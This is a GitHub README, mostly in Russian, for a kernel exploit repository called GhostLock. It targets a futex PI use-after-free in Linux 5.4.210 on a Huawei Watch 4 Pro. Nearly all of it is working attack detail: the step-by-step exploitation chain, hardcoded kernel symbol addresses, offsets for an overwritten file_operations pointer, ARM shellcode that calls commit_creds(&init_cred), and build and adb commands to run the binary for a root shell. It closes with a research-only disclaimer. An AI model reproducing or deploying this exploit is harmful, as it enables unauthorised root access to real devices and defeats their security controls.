gitchw/ghostlock-cve-2026-43499CVE-2026-43499 (GhostLock) — исследование повышения привилегий в ядре Linux (futex PI rt_mutex UAF ARM32), нацеленное на Huawei Watch 4 Pro (ядро 5.4.210)
Исследование уязвимости Use-After-Free в rt_mutex futex PI ядра Linux и разработка эксплойта для Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, ядро 5.4.210.
Функция remove_waiter() в kernel/locking/rt_mutex.c некорректно использует current вместо waiter->task при откате proxy-lock, не очищая pi_blocked_on у задачи-ожидающего. Это оставляет висячий указатель из task_struct на размещённый в стеке rt_mutex_waiter после освобождения стекового фрейма ядра ожидающего — классический Use-After-Free в стеке.
futex(FUTEX_CMP_REQUEUE_PI) в трёх потоках; pi_blocked_on ожидающего указывает на освобождённый стек.prctl(PR_SET_NAME) (опция 15, непривилегированная) для копирования 15 байт контролируемых данных в стек ядра, перезаписывая поля task/lock/prio поддельного ожидающего.sched_setattr() запускает обход PI-цепочки; поддельный ожидающий ставится в очередь в поддельный rt_mutex, перекрывающий структуру file_operations ядра. Вставка в красно-чёрное дерево записывает адрес стека ядра ожидающего в fops->unlocked_ioctl.ioctl(), который диспетчеризуется через перезаписанный указатель unlocked_ioctl в шеллкод на исполняемом стеке ядра.commit_creds(waiter), где первые поля ожидающего (заданные rb_insert_color) образуют поддельную struct cred с uid/gid = 0.fops->unlocked_ioctl адресом стека ожидающего)ioctl(null_fd, IOCTL_CMD, 0) в шеллкод -> commit_creds(&init_cred) -> root-шелл)| Свойство | Значение |
|---|---|
| Устройство | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| Ядро | 5.4.210 (32-бит ARM) |
| KASLR | отключён |
| PAN/SMAP | отсутствует |
| PXN | отсутствует на 0xc1b00000+ (стек/BSS исполняемы) |
| CFI/PAC | отсутствует |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
Использование кросс-компиляции GCC или Zig:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
Позиционно-независимый шелл-код ARM, размещаемый по адресу waiter+0x18:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) выполняет диспетчеризацию f_op->unlocked_ioctl(filp, cmd, arg), регистр r1 содержит аргумент cmd.cmd = 0x01B17E60, инструкция sub r0, r1, #0x40000000 (кодировка 0xe2410101, без нулевых байтов) вычисляет r0 = 0xc1b17e60 (&init_cred).commit_creds(&init_cred) устанавливает root-учётные данные с полными возможностями и чистым контекстом безопасности SELinux, корректно возвращаясь в do_vfs_ioctl (lr = 0xc031c8c0).В struct file_operations этого вендорского ядра есть дополнительное 4-байтовое поле по
смещению +0x24 (между poll и unlocked_ioctl), что сдвигает все последующие
члены на 4 байта относительно стандартного Linux 5.4:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
Это было подтверждено путём дизассемблирования обработчиков ashmem и null fops.
Этот репозиторий предназначен только для исследований в области безопасности и обучения. Не используйте эти методы на устройствах, которыми вы не владеете или на тестирование которых у вас нет разрешения.